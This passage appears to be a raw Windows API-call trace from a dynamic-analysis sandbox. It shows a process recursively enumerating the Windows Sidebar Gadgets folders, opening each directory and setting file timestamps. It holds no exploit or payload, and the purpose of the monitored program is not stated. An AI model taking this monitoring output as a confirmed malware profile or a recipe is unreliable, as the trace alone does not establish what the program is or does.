lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.237] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.238] NtClose (Handle=0x1a8) returned 0x0 [0250.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657b18) returned 1 [0250.238] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.238] GetLastError () returned 0x12 [0250.238] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.238] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.238] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.238] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.238] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.238] NtClose (Handle=0x1a8) returned 0x0 [0250.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657d38) returned 1 [0250.239] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0250.239] GetLastError () returned 0x12 [0250.239] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.239] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.240] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.240] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.240] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.240] NtClose (Handle=0x1a8) returned 0x0 [0250.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0250.240] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd520 [0250.240] GetLastError () returned 0x12 [0250.240] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.240] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.241] GetLastError () returned 0x12 [0250.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1692fd0) returned 1 [0250.241] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16930d8) returned 1 [0250.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1692ec8) returned 1 [0250.241] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.241] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.241] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.241] NtClose (Handle=0x1b0) returned 0x0 [0250.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0250.241] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.241] GetLastError () returned 0x12 [0250.241] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd520 [0250.241] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.242] GetLastError () returned 0x12 [0250.242] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16930d8) returned 1 [0250.242] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.242] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1692fd0) returned 1 [0250.242] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1692ec8) returned 1 [0250.242] GetLastError () returned 0x12 [0250.242] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0250.242] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.242] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0250.242] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657d38) returned 1 [0250.247] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.247] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.247] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.247] NtClose (Handle=0x170) returned 0x0 [0250.247] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657d38) returned 1 [0250.247] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.250] GetLastError () returned 0x12 [0250.250] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0250.250] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.250] GetLastError () returned 0x12 [0250.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0250.250] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0250.251] GetLastError () returned 0x12 [0250.251] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.252] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.252] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.252] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.252] GetLastError () returned 0x12 [0250.252] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.252] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.253] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.253] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.253] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.253] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.254] GetLastError () returned 0x12 [0250.254] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.254] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.254] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.254] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.254] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.254] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0250.254] GetLastError () returned 0x12 [0250.254] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.254] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.255] GetLastError () returned 0x12 [0250.255] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.255] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.255] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.255] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.255] GetLastError () returned 0x12 [0250.255] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0250.255] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.255] GetLastError () returned 0x12 [0250.255] GetLastError () returned 0x12 [0250.256] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.256] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.256] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.256] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.258] GetLastError () returned 0x12 [0250.258] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.258] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.258] GetLastError () returned 0x12 [0250.259] GetLastError () returned 0x12 [0250.259] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.259] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.260] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.260] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.260] GetLastError () returned 0x12 [0250.260] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.260] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.260] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.260] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.260] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.260] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0250.261] GetLastError () returned 0x12 [0250.261] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.261] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.261] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.261] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.261] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.261] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd520 [0250.261] GetLastError () returned 0x12 [0250.261] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.261] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.261] GetLastError () returned 0x12 [0250.262] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.262] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.262] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.262] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.262] GetLastError () returned 0x12 [0250.262] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd520 [0250.262] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.262] GetLastError () returned 0x12 [0250.262] GetLastError () returned 0x12 [0250.263] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.263] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.263] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.263] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.275] GetLastError () returned 0x12 [0250.275] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0250.275] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.276] GetLastError () returned 0x12 [0250.276] GetLastError () returned 0x12 [0250.276] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.277] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.277] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.277] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.278] GetLastError () returned 0x12 [0250.278] 